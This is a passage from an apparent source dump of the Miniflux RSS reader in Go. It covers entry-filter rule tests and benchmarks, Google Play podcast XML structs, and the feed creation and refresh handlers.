allowRules, feed, entry)\n\tif !result {\n\t\tt.Errorf(\"Complex scenario: block filter rules should take precedence\")\n\t}\n\n\t// Remove block filter rules, now blocklist regex should block\n\tresult = IsBlockedEntry(filterRules{}, allowRules, feed, entry)\n\tif !result {\n\t\tt.Errorf(\"Complex scenario: blocklist regex should block when no filter block rules\")\n\t}\n\n\t// Remove blocklist regex, allow filter rules should allow (since they match)\n\tfeed.BlocklistRules = \"\"\n\tresult = IsBlockedEntry(filterRules{}, allowRules, feed, entry)\n\tif result {\n\t\tt.Errorf(\"Complex scenario: allow filter rules should not block when they match\")\n\t}\n\n\t// Change allow filter rules to non-matching, should block\n\tallowRules = filterRules{{Type: \"EntryTitle\", Value: \"NonMatching\"}}\n\tresult = IsBlockedEntry(filterRules{}, allowRules, feed, entry)\n\tif !result {\n\t\tt.Errorf(\"Complex scenario: non-matching allow filter rules should block\")\n\t}\n\n\t// Remove allow filter rules, keeplist regex should allow\n\tresult = IsBlockedEntry(filterRules{}, filterRules{}, feed, entry)\n\tif result {\n\t\tt.Errorf(\"Complex scenario: keeplist regex should not block when it matches\")\n\t}\n}\n\nfunc TestFilterRulesWithSpecialCharacters(t *testing.T) {\n\tentry := &model.Entry{\n\t\tTitle:   \"Test [Special] (Characters) & Symbols!\",\n\t\tURL:     \"https://example.com/test?param=value&other=123\",\n\t\tContent: \"Content with <html> tags and $pecial characters\",\n\t\tAuthor:  \"Author@domain.com\",\n\t\tTags:    []string{\"c++\", \"c#\", \".net\"},\n\t}\n\n\ttests := []struct {\n\t\tname     string\n\t\trule     filterRule\n\t\texpected bool\n\t}{\n\t\t{\n\t\t\tname:     \"brackets in title\",\n\t\t\trule:     filterRule{Type: \"EntryTitle\", Value: \"\\\\[Special\\\\]\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"parentheses in title\",\n\t\t\trule:     filterRule{Type: \"EntryTitle\", Value: \"\\\\(Characters\\\\)\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"URL with query parameters\",\n\t\t\trule:     filterRule{Type: \"EntryURL\", Value: \"param=value\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"HTML tags in content\",\n\t\t\trule:     filterRule{Type: \"EntryContent\", Value: \"<html>\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"email pattern in author\",\n\t\t\trule:     filterRule{Type: \"EntryAuthor\", Value: \"@domain\\\\.com\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"programming language tags\",\n\t\t\trule:     filterRule{Type: \"EntryTag\", Value: \"c\\\\+\\\\+\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"tags with special chars\",\n\t\t\trule:     filterRule{Type: \"EntryTag\", Value: \"c#\"},\n\t\t\texpected: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := matchesRule(tt.rule, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"matchesRule() with special characters = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEntryWithEmptyFields(t *testing.T) {\n\tentry := &model.Entry{\n\t\tTitle:       \"\",\n\t\tURL:         \"\",\n\t\tCommentsURL: \"\",\n\t\tContent:     \"\",\n\t\tAuthor:      \"\",\n\t\tTags:        []string{},\n\t\tDate:        time.Time{}, // Zero time\n\t}\n\n\ttests := []struct {\n\t\tname     string\n\t\trule     filterRule\n\t\texpected bool\n\t}{\n\t\t{\n\t\t\tname:     \"empty title\",\n\t\t\trule:     filterRule{Type: \"EntryTitle\", Value: \".*\"},\n\t\t\texpected: true, // Empty string matches .*\n\t\t},\n\t\t{\n\t\t\tname:     \"empty title specific match\",\n\t\t\trule:     filterRule{Type: \"EntryTitle\", Value: \"^$\"},\n\t\t\texpected: true, // Empty string matches ^$\n\t\t},\n\t\t{\n\t\t\tname:     \"empty URL\",\n\t\t\trule:     filterRule{Type: \"EntryURL\", Value: \"^$\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"empty tags\",\n\t\t\trule:     filterRule{Type: \"EntryTag\", Value: \"anything\"},\n\t\t\texpected: false, // No tags to match\n\t\t},\n\t\t{\n\t\t\tname:     \"zero time as future\",\n\t\t\trule:     filterRule{Type: \"EntryDate\", Value: \"future\"},\n\t\t\texpected: false, // Zero time is not in future\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := matchesRule(tt.rule, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"matchesRule() with empty fields = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestBoundaryConditionsForDates(t *testing.T) {\n\t// Test dates at exact boundaries\n\texactDate := time.Date(2023, 6, 15, 0, 0, 0, 0, time.UTC)\n\n\ttests := []struct {\n\t\tname      string\n\t\tpattern   string\n\t\tentryDate time.Time\n\t\texpected  bool\n\t}{\n\t\t{\n\t\t\tname:      \"exact boundary - before same date\",\n\t\t\tpattern:   \"before:2023-06-15\",\n\t\t\tentryDate: exactDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"exact boundary - after same date\",\n\t\t\tpattern:   \"after:2023-06-15\",\n\t\t\tentryDate: exactDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"one second before boundary\",\n\t\t\tpattern:   \"before:2023-06-15\",\n\t\t\tentryDate: exactDate.Add(-time.Second),\n\t\t\texpected:  true,\n\t\t},\n\t\t{\n\t\t\tname:      \"one second after boundary\",\n\t\t\tpattern:   \"after:2023-06-15\",\n\t\t\tentryDate: exactDate.Add(time.Second),\n\t\t\texpected:  true,\n\t\t},\n\t\t{\n\t\t\tname:      \"between same dates\",\n\t\t\tpattern:   \"between:2023-06-15,2023-06-15\",\n\t\t\tentryDate: exactDate,\n\t\t\texpected:  false, // Entry is not between identical dates\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := isDateMatchingPattern(tt.pattern, tt.entryDate)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"isDateMatchingPattern() boundary test = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRegexErrorHandling(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\t// Test invalid regex in various contexts\n\ttests := []struct {\n\t\tname         string\n\t\tregexPattern string\n\t\texpected     bool\n\t}{\n\t\t{\n\t\t\tname:         \"invalid regex - unclosed bracket\",\n\t\t\tregexPattern: \"[abc\",\n\t\t\texpected:     false,\n\t\t},\n\t\t{\n\t\t\tname:         \"invalid regex - unclosed parenthesis\",\n\t\t\tregexPattern: \"(abc\",\n\t\t\texpected:     false,\n\t\t},\n\t\t{\n\t\t\tname:         \"invalid regex - invalid quantifier\",\n\t\t\tregexPattern: \"*abc\",\n\t\t\texpected:     false,\n\t\t},\n\t\t{\n\t\t\tname:         \"valid complex regex\",\n\t\t\tregexPattern: \"^Test.*Entry.*Title$\",\n\t\t\texpected:     true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult, _ := matchesEntryRegexRules(tt.regexPattern, feed, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"matchesEntryRegexRules() with invalid regex = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestParseDurationWithVariousFormats(t *testing.T) {\n\ttests := []struct {\n\t\tname        string\n\t\tduration    string\n\t\texpected    time.Duration\n\t\texpectError bool\n\t}{\n\t\t// Additional duration format tests\n\t\t{\n\t\t\tname:        \"complex duration - hours and minutes\",\n\t\t\tduration:    \"1h30m\",\n\t\t\texpected:    time.Hour + 30*time.Minute,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"complex duration - minutes and seconds\",\n\t\t\tduration:    \"30m45s\",\n\t\t\texpected:    30*time.Minute + 45*time.Second,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"fractional hours\",\n\t\t\tduration:    \"1.5h\",\n\t\t\texpected:    time.Hour + 30*time.Minute,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"negative duration\",\n\t\t\tduration:    \"-1h\",\n\t\t\texpected:    -time.Hour,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"zero duration\",\n\t\t\tduration:    \"0\",\n\t\t\texpected:    0,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"large number of days\",\n\t\t\tduration:    \"999d\",\n\t\t\texpected:    999 * 24 * time.Hour,\n\t\t\texpectError: false,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult, err := parseDuration(tt.duration)\n\t\t\tif tt.expectError && err == nil {\n\t\t\t\tt.Errorf(\"parseDuration() expected error but got none\")\n\t\t\t}\n\t\t\tif !tt.expectError && err != nil {\n\t\t\t\tt.Errorf(\"parseDuration() unexpected error: %v\", err)\n\t\t\t}\n\t\t\tif !tt.expectError && result != tt.expected {\n\t\t\t\tt.Errorf(\"parseDuration() = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Benchmark tests for performance\nfunc BenchmarkParseRules(b *testing.B) {\n\tuserRules := `EntryTitle=test1\nEntryAuthor=author1\nEntryURL=example1\nEntryContent=content1\nEntryTag=tag1`\n\tfeedRules := `EntryTitle=test2\nEntryAuthor=author2\nEntryURL=example2\nEntryContent=content2\nEntryTag=tag2`\n\n\tb.ResetTimer()\n\tfor b.Loop() {\n\t\tParseRules(userRules, feedRules)\n\t}\n}\n\nfunc BenchmarkIsBlockedEntry(b *testing.B) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\tblockRules := filterRules{\n\t\t{Type: \"EntryTitle\", Value: \"test\"},\n\t\t{Type: \"EntryAuthor\", Value: \"author\"},\n\t\t{Type: \"EntryURL\", Value: \"example\"},\n\t}\n\tallowRules := filterRules{\n\t\t{Type: \"EntryContent\", Value: \"content\"},\n\t\t{Type: \"EntryTag\", Value: \"tag\"},\n\t}\n\n\tfor b.Loop() {\n\t\tIsBlockedEntry(blockRules, allowRules, feed, entry)\n\t}\n}\n\nfunc BenchmarkMatchesEntryRegexRules(b *testing.B) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\tregexPattern := \"Test.*Title|example\\\\.com|Test.*Author|golang\"\n\n\tfor b.Loop() {\n\t\tmatchesEntryRegexRules(regexPattern, feed, entry)\n\t}\n}\n\nfunc BenchmarkIsDateMatchingPattern(b *testing.B) {\n\tentryDate := time.Now().Add(-2 * 24 * time.Hour)\n\tpattern := \"max-age:1d\"\n\n\tfor b.Loop() {\n\t\tisDateMatchingPattern(pattern, entryDate)\n\t}\n}\n\nfunc BenchmarkParseDuration(b *testing.B) {\n\tfor b.Loop() {\n\t\tparseDuration(\"30d\")\n\t}\n}\n"
  },
  {
    "path": "internal/reader/googleplay/googleplay.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage googleplay // import \"miniflux.app/v2/internal/reader/googleplay\"\n\n// Specs:\n// https://support.google.com/googleplay/podcasts/answer/6260341\n// https://www.google.com/schemas/play-podcasts/1.0/play-podcasts.xsd\ntype GooglePlayChannelElement struct {\n\tGooglePlayAuthor      string                    `xml:\"http://www.google.com/schemas/play-podcasts/1.0 author\"`\n\tGooglePlayEmail       string                    `xml:\"http://www.google.com/schemas/play-podcasts/1.0 email\"`\n\tGooglePlayImage       GooglePlayImageElement    `xml:\"http://www.google.com/schemas/play-podcasts/1.0 image\"`\n\tGooglePlayDescription string                    `xml:\"http://www.google.com/schemas/play-podcasts/1.0 description\"`\n\tGooglePlayCategory    GooglePlayCategoryElement `xml:\"http://www.google.com/schemas/play-podcasts/1.0 category\"`\n}\n\ntype GooglePlayItemElement struct {\n\tGooglePlayAuthor      string `xml:\"http://www.google.com/schemas/play-podcasts/1.0 author\"`\n\tGooglePlayDescription string `xml:\"http://www.google.com/schemas/play-podcasts/1.0 description\"`\n\tGooglePlayExplicit    string `xml:\"http://www.google.com/schemas/play-podcasts/1.0 explicit\"`\n\tGooglePlayBlock       string `xml:\"http://www.google.com/schemas/play-podcasts/1.0 block\"`\n\tGooglePlayNewFeedURL  string `xml:\"http://www.google.com/schemas/play-podcasts/1.0 new-feed-url\"`\n}\n\ntype GooglePlayImageElement struct {\n\tHref string `xml:\"href,attr\"`\n}\n\ntype GooglePlayCategoryElement struct {\n\tText string `xml:\"text,attr\"`\n}\n"
  },
  {
    "path": "internal/reader/handler/handler.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage handler // import \"miniflux.app/v2/internal/reader/handler\"\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"log/slog\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/integration\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/icon\"\n\t\"miniflux.app/v2/internal/reader/parser\"\n\t\"miniflux.app/v2/internal/reader/processor\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nvar (\n\tErrCategoryNotFound = errors.New(\"fetcher: category not found\")\n\tErrFeedNotFound     = errors.New(\"fetcher: feed not found\")\n\tErrDuplicatedFeed   = errors.New(\"fetcher: duplicated feed\")\n)\n\nfunc getTranslatedLocalizedError(store *storage.Storage, userID int64, originalFeed *model.Feed, localizedError *locale.LocalizedErrorWrapper) *locale.LocalizedErrorWrapper {\n\tuser, storeErr := store.UserByID(userID)\n\tif storeErr != nil {\n\t\treturn locale.NewLocalizedErrorWrapper(storeErr, \"error.database_error\", storeErr)\n\t}\n\toriginalFeed.WithTranslatedErrorMessage(localizedError.Translate(user.Language))\n\tstore.UpdateFeedError(originalFeed)\n\treturn localizedError\n}\n\nfunc CreateFeedFromSubscriptionDiscovery(store *storage.Storage, userID int64, feedCreationRequest *model.FeedCreationRequestFromSubscriptionDiscovery) (*model.Feed, *locale.LocalizedErrorWrapper) {\n\tslog.Debug(\"Begin feed creation process from subscription discovery\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.String(\"feed_url\", feedCreationRequest.FeedURL),\n\t\tslog.String(\"proxy_url\", feedCreationRequest.ProxyURL),\n\t)\n\n\tif !store.CategoryIDExists(userID, feedCreationRequest.CategoryID) {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(ErrCategoryNotFound, \"error.category_not_found\")\n\t}\n\n\tif store.FeedURLExists(userID, feedCreationRequest.FeedURL) {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(ErrDuplicatedFeed, \"error.duplicated_feed\")\n\t}\n\n\tsubscription, parseErr := parser.ParseFeed(feedCreationRequest.FeedURL, feedCreationRequest.Content)\n\tif parseErr != nil {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(parseErr, \"error.unable_to_parse_feed\", parseErr)\n\t}\n\n\tsubscription.UserID = userID\n\tsubscription.UserAgent = feedCreationRequest.UserAgent\n\tsubscription.Cookie = feedCreationRequest.Cookie\n\tsubscription.Username = feedCreationRequest.Username\n\tsubscription.Password = feedCreationRequest.Password\n\tsubscription.Crawler = feedCreationRequest.Crawler\n\tsubscription.IgnoreEntryUpdates = feedCreationRequest.IgnoreEntryUpdates\n\tsubscription.Disabled = feedCreationRequest.Disabled\n\tsubscription.IgnoreHTTPCache = feedCreationRequest.IgnoreHTTPCache\n\tsubscription.AllowSelfSignedCertificates = feedCreationRequest.AllowSelfSignedCertificates\n\tsubscription.FetchViaProxy = feedCreationRequest.FetchViaProxy\n\tsubscription.ScraperRules = feedCreationRequest.ScraperRules\n\tsubscription.RewriteRules = feedCreationRequest.RewriteRules\n\tsubscription.BlocklistRules = feedCreationRequest.BlocklistRules\n\tsubscription.KeeplistRules = feedCreationRequest.KeeplistRules\n\tsubscription.UrlRewriteRules = feedCreationRequest.UrlRewriteRules\n\tsubscription.BlockFilterEntryRules = feedCreationRequest.BlockFilterEntryRules\n\tsubscription.KeepFilterEntryRules = feedCreationRequest.KeepFilterEntryRules\n\tsubscription.EtagHeader = feedCreationRequest.ETag\n\tsubscription.LastModifiedHeader = feedCreationRequest.LastModified\n\tsubscription.FeedURL = feedCreationRequest.FeedURL\n\tsubscription.DisableHTTP2 = feedCreationRequest.DisableHTTP2\n\tsubscription.WithCategoryID(feedCreationRequest.CategoryID)\n\tsubscription.ProxyURL = feedCreationRequest.ProxyURL\n\tsubscription.CheckedNow()\n\n\tprocessor.ProcessFeedEntries(store, subscription, userID, true)\n\n\tif storeErr := store.CreateFeed(subscription); storeErr != nil {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(storeErr, \"error.database_error\", storeErr)\n\t}\n\n\tslog.Debug(\"Created feed\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"feed_id\", subscription.ID),\n\t\tslog.String(\"feed_url\", subscription.FeedURL),\n\t)\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithUsernameAndPassword(feedCreationRequest.Username, feedCreationRequest.Password)\n\trequestBuilder.WithUserAgent(feedCreationRequest.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(feedCreationRequest.Cookie)\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(feedCreationRequest.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(feedCreationRequest.FetchViaProxy)\n\trequestBuilder.IgnoreTLSErrors(feedCreationRequest.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(feedCreationRequest.DisableHTTP2)\n\n\ticon.NewIconChecker(store, subscription).UpdateOrCreateFeedIcon()\n\n\treturn subscription, nil\n}\n\n// CreateFeed fetch, parse and store a new feed.\nfunc CreateFeed(store *storage.Storage, userID int64, feedCreationRequest *model.FeedCreationRequest) (*model.Feed, *locale.LocalizedErrorWrapper) {\n\tslog.Debug(\"Begin feed creation process\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.String(\"feed_url\", feedCreationRequest.FeedURL),\n\t\tslog.String(\"proxy_url\", feedCreationRequest.ProxyURL),\n\t)\n\n\tif !store.CategoryIDExists(userID, feedCreationRequest.CategoryID) {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(ErrCategoryNotFound, \"error.category_not_found\")\n\t}\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithUsernameAndPassword(feedCreationRequest.Username, feedCreationRequest.Password)\n\trequestBuilder.WithUserAgent(feedCreationRequest.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(feedCreationRequest.Cookie)\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(feedCreationRequest.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(feedCreationRequest.FetchViaProxy)\n\trequestBuilder.IgnoreTLSErrors(feedCreationRequest.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(feedCreationRequest.DisableHTTP2)\n\n\tresponseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(feedCreationRequest.FeedURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to fetch feed\", slog.String(\"feed_url\", feedCreationRequest.FeedURL), slog.Any(\"error\", localizedError.Error()))\n\t\treturn nil, localizedError\n\t}\n\n\tresponseBody, localizedError := responseHandler.ReadBody(config.Opts.HTTPClientMaxBodySize())\n\tif localizedError != nil {\n\t\tslog.Warn(\"Unable to fetch feed\", slog.String(\"feed_url\", feedCreationRequest.FeedURL), slog.Any(\"error\", localizedError.Error()))\n\t\treturn nil, localizedError\n\t}\n\n\tif store.FeedURLExists(userID, responseHandler.EffectiveURL()) {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(ErrDuplicatedFeed, \"error.duplicated_feed\")\n\t}\n\n\tsubscription, parseErr := parser.ParseFeed(responseHandler.EffectiveURL(), bytes.NewReader(responseBody))\n\tif parseErr != nil {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(parseErr, \"error.unable_to_parse_feed\", parseErr)\n\t}\n\n\tsubscription.UserID = userID\n\tsubscription.UserAgent = feedCreationRequest.UserAgent\n\tsubscription.Cookie = feedCreationRequest.Cookie\n\tsubscription.Username = feedCreationRequest.Username\n\tsubscription.Password = feedCreationRequest.Password\n\tsubscription.Crawler = feedCreationRequest.Crawler\n\tsubscription.IgnoreEntryUpdates = feedCreationRequest.IgnoreEntryUpdates\n\tsubscription.Disabled = feedCreationRequest.Disabled\n\tsubscription.IgnoreHTTPCache = feedCreationRequest.IgnoreHTTPCache\n\tsubscription.AllowSelfSignedCertificates = feedCreationRequest.AllowSelfSignedCertificates\n\tsubscription.DisableHTTP2 = feedCreationRequest.DisableHTTP2\n\tsubscription.FetchViaProxy = feedCreationRequest.FetchViaProxy\n\tsubscription.ScraperRules = feedCreationRequest.ScraperRules\n\tsubscription.RewriteRules = feedCreationRequest.RewriteRules\n\tsubscription.UrlRewriteRules = feedCreationRequest.UrlRewriteRules\n\tsubscription.BlocklistRules = feedCreationRequest.BlocklistRules\n\tsubscription.KeeplistRules = feedCreationRequest.KeeplistRules\n\tsubscription.BlockFilterEntryRules = feedCreationRequest.BlockFilterEntryRules\n\tsubscription.KeepFilterEntryRules = feedCreationRequest.KeepFilterEntryRules\n\tsubscription.HideGlobally = feedCreationRequest.HideGlobally\n\tsubscription.EtagHeader = responseHandler.ETag()\n\tsubscription.LastModifiedHeader = responseHandler.LastModified()\n\tsubscription.FeedURL = responseHandler.EffectiveURL()\n\tsubscription.ProxyURL = feedCreationRequest.ProxyURL\n\tsubscription.WithCategoryID(feedCreationRequest.CategoryID)\n\tsubscription.CheckedNow()\n\n\tprocessor.ProcessFeedEntries(store, subscription, userID, true)\n\n\tif storeErr := store.CreateFeed(subscription); storeErr != nil {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(storeErr, \"error.database_error\", storeErr)\n\t}\n\n\tslog.Debug(\"Created feed\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"feed_id\", subscription.ID),\n\t\tslog.String(\"feed_url\", subscription.FeedURL),\n\t)\n\n\ticon.NewIconChecker(store, subscription).UpdateOrCreateFeedIcon()\n\n\treturn subscription, nil\n}\n\n// RefreshFeed refreshes a feed.\nfunc RefreshFeed(store *storage.Storage, userID, feedID int64, forceRefresh bool) *locale.LocalizedErrorWrapper {\n\tslog.Debug(\"Begin feed refresh process\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"feed_id\", feedID),\n\t\tslog.Bool(\"force_refresh\", forceRefresh),\n\t)\n\n\toriginalFeed, storeErr := store.FeedByID(userID, feedID)\n\tif storeErr != nil {\n\t\treturn locale.NewLocalizedErrorWrapper(storeErr, \"error.database_error\", storeErr)\n\t}\n\n\tif originalFeed == nil {\n\t\treturn locale.NewLocalizedErrorWrapper(ErrFeedNotFound, \"error.feed_not_found\")\n\t}\n\n\tweeklyEntryCount := 0\n\tif config.Opts.PollingScheduler() == model.SchedulerEntryFrequency {\n\t\tvar weeklyCountErr error\n\t\tweeklyEntryCount, weeklyCountErr = store.WeeklyFeedEntryCount(userID, feedID)\n\t\tif weeklyCountErr != nil {\n\t\t\treturn locale.NewLocalizedErrorWrapper(weeklyCountErr, \"error.database_error\", weeklyCountErr)\n\t\t}\n\t}\n\n\toriginalFeed.CheckedNow()\n\toriginalFeed.ScheduleNextCheck(weeklyEntryCount, time.Duration(0))\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithUsernameAndPassword(originalFeed.Username, originalFeed.Password)\n\trequestBuilder.WithUserAgent(originalFeed.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(originalFeed.Cookie)\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(originalFeed.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(originalFeed.FetchViaProxy)\n\trequestBuilder.IgnoreTLSErrors(originalFeed.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(originalFeed.DisableHTTP2)\n\n\tignoreHTTPCache := originalFeed.IgnoreHTTPCache || forceRefresh\n\tif !ignoreHTTPCache {\n\t\trequestBuilder.WithETag(originalFeed.EtagHeader)\n\t\trequestBuilder.WithLastModified(originalFeed.LastModifiedHeader)\n\t}\n\n\tresponseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(originalFeed.FeedURL))\n\tdefer responseHandler.Close()\n\n\tif responseHandler.IsRateLimited() {\n\t\tretryDelay := responseHandler.ParseRetryDelay()\n\t\tcalculatedNextCheckInterval := originalFeed.ScheduleNextCheck(weeklyEntryCount, retryDelay)\n\n\t\tslog.Warn(\"Feed is rate limited\",\n\t\t\tslog.String(\"feed_url\", originalFeed.FeedURL),\n\t\t\tslog.Int(\"retry_delay_in_seconds\", int(retryDelay.Seconds())),\n\t\t\tslog.Int(\"calculated_next_check_interval_in_minutes\", int(calculatedNextCheckInterval.Minutes())),\n\t\t\tslog.Time(\"new_next_check_at\", originalFeed.NextCheckAt),\n\t\t)\n\t}\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to fetch feed\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\tslog.String(\"feed_url\", originalFeed.FeedURL),\n\t\t\tslog.Any(\"error\", localizedError.Error()),\n\t\t)\n\t\treturn getTranslatedLocalizedError(store, userID, originalFeed, localizedError)\n\t}\n\n\tif store.AnotherFeedURLExists(userID, originalFeed.ID, responseHandler.EffectiveURL()) {\n\t\tlocalizedError := locale.NewLocalizedErrorWrapper(ErrDuplicatedFeed, \"error.duplicated_feed\")\n\t\treturn getTranslatedLocalizedError(store, userID, originalFeed, localizedError)\n\t}\n\n\tif ignoreHTTPCache || responseHandler.IsModified(originalFeed.EtagHeader, originalFeed.LastModifiedHeader) {\n\t\tslog.Debug(\"Feed modified\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\tslog.String(\"etag_header\", originalFeed.EtagHeader),\n\t\t\tslog.String(\"last_modified_header\", originalFeed.LastModifiedHeader),\n\t\t)\n\n\t\tresponseBody, localizedError := responseHandler.ReadBody(config.Opts.HTTPClientMaxBodySize())\n\t\tif localizedError != nil {\n\t\t\tslog.Warn(\"Unable to fetch feed\", slog.String(\"feed_url\", originalFeed.FeedURL), slog.Any(\"error\", localizedError.Error()))\n\t\t\treturn localizedError\n\t\t}\n\n\t\tupdatedFeed, parseErr := parser.ParseFeed(responseHandler.EffectiveURL(), bytes.NewReader(responseBody))\n\t\tif parseErr != nil {\n\t\t\tlocalizedError := locale.NewLocalizedErrorWrapper(parseErr, \"error.unable_to_parse_feed\", parseErr)\n\t\t\tif errors.Is(parseErr, parser.ErrFeedFormatNotDetected) {\n\t\t\t\tlocalizedError = locale.NewLocalizedErrorWrapper(parseErr, \"error.feed_format_not_detected\", parseErr)\n\t\t\t}\n\t\t\treturn getTranslatedLocalizedError(store, userID, originalFeed, localizedError)\n\t\t}\n\n\t\t// Use the RSS TTL value, or the Cache-Control or Expires HTTP headers if available.\n\t\t// Otherwise, we use the default value from the configuration (min interval parameter).\n\t\tfeedTTLValue := updatedFeed.TTL\n\t\tcacheControlMaxAgeValue := responseHandler.CacheControlMaxAge()\n\t\texpiresValue := responseHandler.Expires()\n\t\trefreshDelay := max(feedTTLValue, cacheControlMaxAgeValue, expiresValue)\n\n\t\t// Set the next check at with updated arguments.\n\t\tcalculatedNextCheckInterval := originalFeed.ScheduleNextCheck(weeklyEntryCount, refreshDelay)\n\n\t\tslog.Debug(\"Updated next check date\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\tslog.String(\"feed_url\", originalFeed.FeedURL),\n\t\t\tslog.Int(\"feed_ttl_minutes\", int(feedTTLValue.Minutes())),\n\t\t\tslog.Int(\"cache_control_max_age_in_minutes\", int(cacheControlMaxAgeValue.Minutes())),\n\t\t\tslog.Int(\"expires_in_minutes\", int(expiresValue.Minutes())),\n\t\t\tslog.Int(\"refresh_delay_in_minutes\", 